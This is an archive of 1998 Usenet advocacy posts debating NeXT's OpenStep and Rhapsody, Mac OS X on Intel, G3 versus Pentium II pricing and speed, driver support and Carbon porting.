* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Message-ID: <1998052720285000.QAA15315@ladder03.news.aol.com>
Date: 27 May 1998 20:28:49 GMT
Organization: AOL http://www.aol.com
References: <jayfar-2705980213030001@downtown1-4.slip.netaxs.com>
Interestingly, this month's MacWorld end page by David Pogue mentions the
matter of Steve Jobs using a ThinkPad (560 at last report, though he's been
seen with a Toshiba Tecra as well).
Need to remember to tell Pogue to try OpenStep on his Compaq since he's an
"elegance bigot".
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 27 May 1998 20:33:30 GMT
Organization: Digital Fix Development
Message-ID: <6khtaq$ril$1@news.digifix.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net>
In-Reply-To: <356C6096.497E4DBD@nstar.net>
On 05/27/98, "Michael J. Peck" wrote:
>Scott Anguish wrote:
>
>> >The best (and sometimes, only) way to get the most out of hardware
>> >drivers is to get them from the manufacturers. I hope Apple is
>> working
>> >to get this support.
>> >
>>
>> If the Intel version sticks around, I'd hope we'd see
that....
>
>Hmmm? Why just for Intel?
I don't see it being a hard sell to Mac OS hardware
developers.... they'd be doing themselves major damage by not
supporting it.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: rkt1@cornell.eduz (Tapella)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Wed, 27 May 1998 18:26:23 -0400
Organization: Cornell U.
Sender: rkt1@cornell.edu (Verified)
Message-ID: <rkt1-2705981826230001@cu-dialup-1912.cit.cornell.edu>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <6kf8b2$kbk@bgtnsc02.worldnet.att.net> <6kfbc3$on2$1@newsfep2.sprintmail.com>
In article <6kfbc3$on2$1@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
> > Number one, if you want to run the best OS in the world, that eliminates
> > the PII, no?
>
> HAHAHAHAHAHAHAHA, what do you consider the best os in the world? I hope you
> dont mean the macos which crashes alot, and crashes bring down the entire
> system. Macos (AND windows) are HARDLY the best os's in the world. I guess
> you havent used openstep now have you?
Hmmm, weren't you the guy who was having problems installing OPENSTEP
2-3 weeks ago? MACghod? So now you're like the masta OS user and hate MacOS
because it is so unstable etc. That's pretty funny. Don't start going off on
people like you're some sort of computer god, it's really annoying and
probably insulting to alot of the oldtime NS/OS users on this group
(which I am not). I'm really happy that you found out that OPENSTEP
is a nice and powerful OS.
rkt.
Date: Wed, 27 May 1998 08:42:09 -0500
From: chrisj@airwindows.com (Chris Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <chrisj-2705980842100001@usr2a14.bratt.sover.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <35769d98.6919965@news.supernews.com>
Organization: Airwindows
In article <35769d98.6919965@news.supernews.com>, mdevlin@eltrax.com (T.
Max Devlin) wrote:
> "John Saunders" <jws@jws.ultranet.com>, on Sat, 23 May 1998 11:11:58
> >I don't get it. Why would it be "much more difficult"? What would the
> >problem be? Are you suggesting that Microsoft has left something
> >undocumented, such that only "the developer of the OS" could successfully
> >implement this feature?
> Holy Shit, John.
> Are you telling me you're a complete troll? A fake? A player of Usenet
> games?
> I've seen this kind of excess of you before. And I notice that, while I
> recognize your name as annoying, I don't recall specifically flaming
> you.
> You went too far this time. I've caught you. "Are you suggesting",
> John? Are you kidding? You must have _wanted_ to be caught....
> Thanks for the laughs, anyway. Can you post some "best of John
> Saunders"? :-)
Now Max, that was uncalled for. It's hardly necessary to carry on like
that- the man asked a simple question. Here, I'll show you how to deal
with such questions. *ahem*
"Yes"
Chris Johnson
chrisj@airwindows.com
From: will@willz.demon.co.uk (William van Zwanenberg)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: Microsoft's Hypocracy
Date: Wed, 27 May 1998 23:45:20 +0100
Message-ID: <will-2705982345200001@willz.demon.co.uk>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <joe.ragosta-0605980812110001@wil124.dol.net> <6iq0ur$kkh$1@strato.ultra.net> <see-below-0705980451160001@209.24.240.68> <6it38j$fhc$1@gte2.gte.net> <35521108.667D@CONVEX.COM> <3552159A.F2105167@alum.mit.edu> <Ox9aARDg9GA.183@upnetnews03>
In article <Ox9aARDg9GA.183@upnetnews03>, "Tim Hawkins"
<TimHawkins@email.msn.com> wrote:
> Eric Hermanson wrote in message <3552159A.F2105167@alum.mit.edu>...
> >Microsoft says any Justice Department induced delay of Windows 98 will
> bring down the economic structures of the entire World. But,
> >at the same time, Microsoft itself delayed (through mismanagement of the
> software development cycle) the release of Windows 95 for 2
> >years, and Windows NT 4.0 for 4 years. Yet, according to Microsoft, the
> market flourished during those delays.
> >
> >I smell a rat - and it lives in Redmond.
> >
> >Eric
> >
> >
>
> If they delayed NT 4.0 for 4 years, then they would have been scheduled to
> release it before the release of version 3.5 (the second version of NT), I
> dont think even MS plans the release of a products 4th version before the
> release of the 2nd. .
It's the usual bollocks that that wretched organization puts out. Somebody
ought to forceably close it down and shoot gates thereby doing us all a
favour...
--
Will van Zwanenberg Email: will@willz.demon.co.uk
WWW: http://www.willz.demon.co.uk/
"If we don't succeed, then we run the risk of failure ..." - Vice President Dan Quayle 1989, Texas Republican Convention.
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Intel = Openstep 5.0 ?
Date: Wed, 27 May 1998 07:59:43 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EtLvJJ.3Io@AWT.NL>
References: <356A6564.D9040D1F@ix.netcom.com>
Rob Blessin <bhi1@ix.netcom.com> wrote:
>Hello NeXT/ Apple community:
Hello,
>A few of us spake to Andrew Stone at the WWDC after his demo of Create.
He is nice and well-informed.
>Even more interesting in theory is running the NeXTSTEP Yellowbox
>interface on top of NT , yep it is probably possible to hing NEXTSTEP
>interface on NT. Has anyone done this, I'm sure the Microsoft Windowing
>front end probably tweaks but it sounds interesting.
This has been shipped and sold by NeXT for two years or so. It works fine.
>I also overheard tails from gurus somehow Openstep 4.2 Enterprise on NT
>running NeXTmail is this possible?
What people were able to do is run NeXTmail on a OPENSTEP/NEXTSTEP system and
- using a service called NSHost - have the GUI appear on a Windows NT box.
This possibility will probably disappear with the next incarnation of
Rhapsody (MacOS X).
>I heard Steve Jobs say to anyone with in listening distance after the
>keynote , tell us what you want, we are listening.
Listening is only the first step.... (and an essential one we learn in sales
class, if people complain they haven't walked away and even they probably do
not want to walk away, they want to stay). It's like Microsoft listening to
people complaining about all the bugs. (Bugs? What bugs?)
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: morbius@eatspam&die.net (Morbius)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Wed, 27 May 1998 16:11:41 -0800
Organization: Brotherhood of Nod
Message-ID: <morbius-2705981611570001@1cust56.tnt1.santa-monica2.ca.da.uu.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <6kf8b2$kbk@bgtnsc02.worldnet.att.net> <6kfbc3$on2$1@newsfep2.sprintmail.com> <rkt1-2705981826230001@cu-dialup-1912.cit.cornell.edu>
In article <rkt1-2705981826230001@cu-dialup-1912.cit.cornell.edu>,
rkt1@cornell.eduz (Tapella) wrote:
> In article <6kfbc3$on2$1@newsfep2.sprintmail.com>,
macghod@concentric.net wrote:
>
> > > Number one, if you want to run the best OS in the world, that eliminates
> > > the PII, no?
> >
> > HAHAHAHAHAHAHAHA, what do you consider the best os in the world? I
hope you
> > dont mean the macos which crashes alot, and crashes bring down the entire
> > system. Macos (AND windows) are HARDLY the best os's in the world. I
guess
> > you havent used openstep now have you?
>
> Hmmm, weren't you the guy who was having problems installing OPENSTEP
> 2-3 weeks ago? MACghod? So now you're like the masta OS user and hate MacOS
> because it is so unstable etc. That's pretty funny. Don't start going off on
> people like you're some sort of computer god, it's really annoying and
> probably insulting to alot of the oldtime NS/OS users on this group
> (which I am not). I'm really happy that you found out that OPENSTEP
> is a nice and powerful OS.
And yet, Maggot seeks employment as a MacOS developer. Hmmm....:)
Morbius
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Wed, 27 May 1998 14:26:48 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2705981426480001@dante.eng.uci.edu>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net> <6khtaq$ril$1@news.digifix.com>
In article <6khtaq$ril$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
>>> >The best (and sometimes, only) way to get the most out of hardware
>>> >drivers is to get them from the manufacturers. I hope Apple is
>>> working
>>> >to get this support.
> I don't see it being a hard sell to Mac OS hardware
>developers.... they'd be doing themselves major damage by not
>supporting it.
What about non-MacOS hardware developers? Right now there are *tons* of
PCI cards that I can't just shove in my G3 box because of a lack of
drivers. USB will only add to that.
There is a lot of support needed out there still.
-Bob Cassidy
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Wed, 27 May 1998 17:20:38 -0700
Organization: Trilithon Research and Trading
Message-ID: <356CADD6.D5B343A2@trilithon.com>
References: <6kfh4f$6k9$1@nnrp1.dejanews.com> <6kfqoq$rql$1@news.idiom.com> <6khdnd$hdh$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
agave@blight.com wrote:
>
> jcr.remove@this.phrase.idiom.com wrote:
* * What you're missing is the fact that Adobe
* * says what rendering algorithms are used. A
* * bezier curve is a bezier curve whether
* * you write it or I write it. Same with lines
* * and even-odd rule fills.
<<<< snip >>>>
* If all PDF implementations are required to rasterize
* in the same manner I see how you can assure fidelity
* between screen and printer but I haven't been
* able to find any references to that effect. Could you
* point me to doc's that state that (or if I missed it
* in the spec, what page?).
The pixelation rules were defined clearly in the NextStep
documentation. They may also be defined in the Display
PostScript System manuals [my books are packed at the
moment so I can't check], and may possibly be defined as
well in the Purple Book.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Wed, 27 May 1998 20:21:26 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2705982021260001@132.236.171.104>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com>
In article <jayfar-2605982311490001@downtown1-18.slip.netaxs.com>,
jayfar@netaxs.com wrote:
> In an interview with Dave Mark in the May issue of MacTech (not online),
> Steve Wozniak comments that Jobs doesn't even use a Mac and won't because
> he considers it "crappy."
And people chide Motorola (now set on NT/x86) and IBM (failure of PC
division to commit to either OS/2 or PPC) for not using their own
products? Hmmm.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
The right of every man to work, labor, and produce . . . on equal terms [is]
industrial liberty and lies at the foundation of the equality of all rights
and priviliges.
- Senator John Sherman
From: gierkeNOSPAM@delaware.infi.net (Gierke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 27 May 1998 20:18:31 -0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-2705982018330001@pm1-37.ile.infi.net>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <mcasse-2708561359510001@line8047.ras.ilstu.edu> <ericb-1405981247490001@132.236.171.104> <6jpsje$1cc$100@ironhorse.plsys.co.uk> <ericb-2005981926430001@132.236.171.104> <6khbcb$d5n$17@ironhorse.plsys.co.uk> <joe.ragosta-2705981214130001@wil96.dol.net> <MPG.fd65af62c4002e39897a2@news.supernews.com>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <MPG.fd65af62c4002e39897a2@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <joe.ragosta-2705981214130001@wil96.dol.net>,
> joe.ragosta@dol.net says...
> > But let's say that 2-3% of the code needs to be rewritten. I would expect
> > that this would still be a pretty daunting task unless much of the rewrite
> > involves something as simple as a global search and replace (replace the
> > old function name with the name of a new function which uses the same
> > syntax, but which runs under Carbon).
> >
> > Does anyone know how much of the rewrite is likely to be a simple search
> > and replace and how much will involve actually rewriting the code?
> >
> Depends on what sort of an app it is. I just ran our new QuickConference
> server through Carbon Dating, and pretty much what was required was
> throwing out our MacTCP support and replacing some calls with equivalent
> calls. Our client has some more problems, it has a 68k code resource
> that hooks into jGNEfilter to provide hot-key functionality to bring the
> client to the front. That code is toast as is, I'm hoping there will be
> a replacement. Ignoring the hot key, I think I'll be able to get both
> the server and the client to run in less than a week.
>
> Instead of searching and replacing, I'll just tell the carbon compiler to
> compile my source. I'll get a nice list of "errors" which are the non-
> supported routines, and tackle them that way. So, if the syntax changes
> on some of them, it's still no big deal.
>
> On the other hand, I've done some apps that do a lot of bizarre hooking
> into other apps, those apps are toast. If you've got a bunch of 68k
> libraries still linked in, you have problems.
>
> Donald
Seeing as to where this thread is leading, one may wish to check out
http://www.macosrumors.com
for a partial list of some "Carbon-Tested" apps. Quite interesting...
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
Date: Wed, 27 May 1998 20:38:04 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Message-ID: <joe.ragosta-2705982038040001@elk54.dol.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6ki1sh$qcr$1@newsfep3.sprintmail.com>
In article <6ki1sh$qcr$1@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> In <tsn-2705981315200001@indyu133.netusa1.net> Ike Gilbert wrote:
> > The PowerPC G3 has been proven to be consistantly faster than the PII.
>
> Oh this is such bullshit. FOr real world performance, the g3 233 will be
> about as fast as a p2 300. The p2 300 will be faster in some things, like
> quake, and some photoshop filters, but slower in other areas, ie other
> photoshop filters. And what about bytemark you say? Well, some compilers
> will say the g3 is faster, and some compilers will say the p2 is faster.
You'd have to find an extremely slow compiler to make the G3 look slower
in Byte.
The majority of real life apps (with Quake being the major exception) show
the G3 to be much faster.
> > True, the G3 only comes with 32MB standard, but you can add more RAM for
> > pretty cheap.
>
> Not that cheap, $100, and you still have to put it in. If you dont want your
> warranty voided thats another $100 to have a apple specialized whatever put
> it in.
Try www.thechipmerchant.com
32 MB for $43 and 64 MB for $88.
> > So for $1700, I can get a G3 PowerMac that is up to twice as fast as a PC
> > that costs $1300.
>
> No, actually from the apple store its over $2000. And it aint twice as fast.
Depends on which one. The G3/233 is $1600 at the Apple Store.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 27 May 1998 21:51:13 GMT
Message-ID: <6ki1sh$qcr$1@newsfep3.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: tsn@netusa1.net
In <tsn-2705981315200001@indyu133.netusa1.net> Ike Gilbert wrote:
> In article <6kf6jk$mcf$1@newsfep2.sprintmail.com>, macghod@concentric.net
wrote:
>
> > I am looking to buy a computer. It MUST run the best operating system in
the
> > world.
> > So that narrows things down to a pentium or a g3 mac (or 604e mac). A
233 g3
> > is definitely fast enough for me, as is a p2 300. But a g3 233 costs
$1500
> > mail order, and this does not even have the tower case that the p2 has.
> > Plus, look what one can get for much less: A LOT MORE!!
> >
> > Pentium II 300Mhz System€
> >
> > Intel Pentium II processor,
>
> The PowerPC G3 has been proven to be consistantly faster than the PII.
Oh this is such bullshit. FOr real world performance, the g3 233 will be
about as fast as a p2 300. The p2 300 will be faster in some things, like
quake, and some photoshop filters, but slower in other areas, ie other
photoshop filters. And what about bytemark you say? Well, some compilers
will say the g3 is faster, and some compilers will say the p2 is faster.
> > M715€ motherboard,
> > 64Mb SDRAM,
>
> True, the G3 only comes with 32MB standard, but you can add more RAM for
> pretty cheap.
Not that cheap, $100, and you still have to put it in. If you dont want your
warranty voided thats another $100 to have a apple specialized whatever put
it in.
> > L2 Pipelined Burst Cache, 512k,
>
> The G3 uses a 512k BACKSIDE cache, which I believe is faster than a L2
> pipelined burst cache.
>
> > 4.3Gb IDE hard drive,
>
> The G3 comes with a 3 GB hard drive, so a loss of 1.3 GB storage.
Actually, like I said the g3 comes with a 4.3 gig also
> > 4Mb AGP 3D graphics accelerator,
>
> The G3 comes uses the Rage pro graphics accelerator, which works in
> 2D/3D. I'm not sure how they compare, but more than likely both cards
> give similar performance gains. I mean, this PC freebie is no VooDoo 2.
> > 56k€ fax/modem/voice,€
Yup, I think thats another $150.
> Here's what you're really getting for free:
>
> 32 MB SDRAM
> 1.3 GB storage space
> Cheap 17" Monitor
> A slightly faster CD-ROM drive
> 56k modem
> Low quality external speakers
>
> Now, this list isn't as big as you thought.
> While I will admit that this is a hefty load of freebies which they are
> supplying, how much of this would really matter? I could never ever use
> 3.0 GB of storage space, so the extra 1.3 GB doesn't matter to me. I
> wouldn't care about the CD-ROM, and I have never been one for low-quality
> stereo sound, and have never had a problem with the built in sound on any
> machine. And it seems to me that you are not very thrilled about keeping
> the free monitor, so lets just drop that. And SELLING it to your parents,
> you should be ashamed.
> So for $1700, I can get a G3 PowerMac that is up to twice as fast as a PC
> that costs $1300.
No, actually from the apple store its over $2000. And it aint twice as fast.
THe pc people can cite spec to so its faster, the mac people can cite byte
(only with a specific compiler that isnt even available anymore) to show the
mac is faster. And if you use the compiler that developers use, codewarrior,
byte shows the 2 to be about the same. I thus call it a wash, the p2 300 is
about the same speed as the g3 233.
>I get to use a much more user friendly operating
> system,
You get to use the macos, which really blows. *I* get to use the worlds best
os, openstep. Of course soon you will be able to use the worlds best os, ie
rhapsody.
>and if I decide to I can use PPC Linux and really see the speed
> difference between the PPC and the PII.
Somewhere their is a web page with benchmarks of p2's with linux and g3's
with linux. Of course you dont want to go their, because you will be
horrified to see the g3 233 isnt much faster than a p2 300. Anyone have the
url?
>That $400 goes quite a long way,
> don't you think? ($700 if you decide to be a cheap bastard and sell the
> monitor to your parents.)
Actually, if you want the machine shipped to your door already configured,
like the pc is, the difference is way more than $700. Its more like $1050 in
a desktop, $1250 in a minitower. So its MORE than twice as expensive. And
it sure as hell isnt twice as fast, they are comparable speed wise.
Whats so cheap about selling my parents a $400 monitor for $300? Right now
they are using MY apple 1710 monitor, when I buy a new machine they will need
a new monitor anyways?
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Wed, 27 May 1998 07:35:38 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EtLuFE.3DM@AWT.NL>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com>
macghod@concentric.net wrote:
>I meant to post this a few days ago, but forgot.
>A couple of days ago, I was watching a wwdc quicktime, and Jobs was
comparing
>the
>new g3 to pc notebooks. He really went off on the pc notebooks. Funny
>thing I thought, has
>Steve even switched to a mac yet? I would see no reason why he wouldnt be
>using a g3 292 with 14 inch screen and rhapsody dr2.
The answer is probably pretty simple. Rhapsody won't run on the new
PowerBooks because they haven't written drivers for it. They are changing the
driver architecture IOKit (MacOS X) and are killing the existing DriverKit
(Rhapsody). So developing drivers for the new PowerBooks is developing
drivers for a kit (DriverKit) that is being phased out. Not a smart move if
you are already short on Mach/OPENSTEP/Rhapsody/MacOSX type resources.
> Whether he has switche
>yet or not, he used pc's for so long it was kind of amusing how he went off
>on the pentium notebooks. Has anyone emailed him and asked him what he
>uses?
He'll probably still use that Toshiba with OPENSTEP. I suspect he won't
switch until MacOS X runs on new PowerBooks (and then I might join him, where
'might' becomes 'will certainly' if they ship MacOSX/intel. Yes, that is
right, if they support intel, I'll buy a PPC)
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 27 May 1998 18:17:18 -0500
Organization: Prairie Group
Message-ID: <MPG.fd65af62c4002e39897a2@news.supernews.com>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <mcasse-2708561359510001@line8047.ras.ilstu.edu> <ericb-1405981247490001@132.236.171.104> <6jpsje$1cc$100@ironhorse.plsys.co.uk> <ericb-2005981926430001@132.236.171.104> <6khbcb$d5n$17@ironhorse.plsys.co.uk> <joe.ragosta-2705981214130001@wil96.dol.net>
In article <joe.ragosta-2705981214130001@wil96.dol.net>,
joe.ragosta@dol.net says...
> But let's say that 2-3% of the code needs to be rewritten. I would expect
> that this would still be a pretty daunting task unless much of the rewrite
> involves something as simple as a global search and replace (replace the
> old function name with the name of a new function which uses the same
> syntax, but which runs under Carbon).
>
> Does anyone know how much of the rewrite is likely to be a simple search
> and replace and how much will involve actually rewriting the code?
>
Depends on what sort of an app it is. I just ran our new QuickConference
server through Carbon Dating, and pretty much what was required was
throwing out our MacTCP support and replacing some calls with equivalent
calls. Our client has some more problems, it has a 68k code resource
that hooks into jGNEfilter to provide hot-key functionality to bring the
client to the front. That code is toast as is, I'm hoping there will be
a replacement. Ignoring the hot key, I think I'll be able to get both
the server and the client to run in less than a week.
Instead of searching and replacing, I'll just tell the carbon compiler to
compile my source. I'll get a nice list of "errors" which are the non-
supported routines, and tackle them that way. So, if the syntax changes
on some of them, it's still no big deal.
On the other hand, I've done some apps that do a lot of bizarre hooking
into other apps, those apps are toast. If you've got a bunch of 68k
libraries still linked in, you have problems.
Donald
Message-ID: <356CAE82.69D1E8DF@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com> <morbius-2605982210170001@1cust85.tnt1.santa-monica2.ca.da.uu.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Thu, 28 May 1998 00:19:47 GMT
NNTP-Posting-Date: Wed, 27 May 1998 20:19:47 EDT
Morbius wrote:
> >
> > In an interview with Dave Mark in the May issue of MacTech (not online),
> > Steve Wozniak comments that Jobs doesn't even use a Mac and won't because
> > he considers it "crappy."
>
> Wasn't there some kind of problem between the two, years ago?
>
There certainly was. Woz found out what a lying schmooze Jobs really
was. He discovered Jobs' "second face" for himself.
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: Wed, 27 May 1998 16:00:24 -0700
Message-ID: <see-below-2705981600240001@209.24.240.199>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com> <6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com> <6kb2si$ele$1@geraldo.cc.utexas.edu> <see-below-2505980150360001@209.24.240.99> <1d9ldn2.wey5o41nx46nwN@carina25.wco.com> <6kg9pc$h5j$1@geraldo.cc.utexas.edu> <6khio0$dr2$1@news.spacelab.net>
In article <6khio0$dr2$1@news.spacelab.net>, "Charles W. Swiger"
<chuck@codefab.com> wrote:
> kdb@pegasus.ece.utexas.edu (Kurt D. Bollacker) wrote:
> >Mike Paquette (mpaque@wco.com) wrote:
> >: The Digital Signal Processor was not used for display graphics, 2D or 3D
> >: rendering, or to accelerate Display PostScript. The overhead of moving
> >: data to and from the 56001 DSP memory would swamp any possible
> >: performance gain for almost all graphics work.
> >
> >TeeHee. Just check out old versions of the Mandlebrot.app (that use the
> >DSP) vs. the newest version (that use the CPU). The DSP is *much* faster
> >than the CPU.
>
> Absolutely. But the engine of Mandelbrot was a simply-expressed calculation
> that was iterated hundreds to thousands of times for every pixel, so the calc
> time was much higher than the communications overhead.
>
> Nice demo, but not very typical of what a display system usually does.
Also, while the DSP may have been much faster than a 68k CPU, would it
really be that much faster than PPC?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Wed, 27 May 1998 22:47:26 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356C97FE.70A786BF@nstar.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com> <356C6096.497E4DBD@nstar.net> <6khtaq$ril$1@news.digifix.com>
Mime-Version: 1.0
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NNTP-Posting-Date: 27 May 1998 22:52:20 GMT
Scott Anguish wrote:
> >Hmmm? Why just for Intel?
>
> I don't see it being a hard sell to Mac OS hardware
> developers.... they'd be doing themselves major damage by not
> supporting it.
These days, there's a lot of hardware that's literally a driver away
from being "Mac OS hardware". And when Apple sold RAVE to manufacturers,
a lot of those manufacturers had nothing to do with Mac OS at the time.
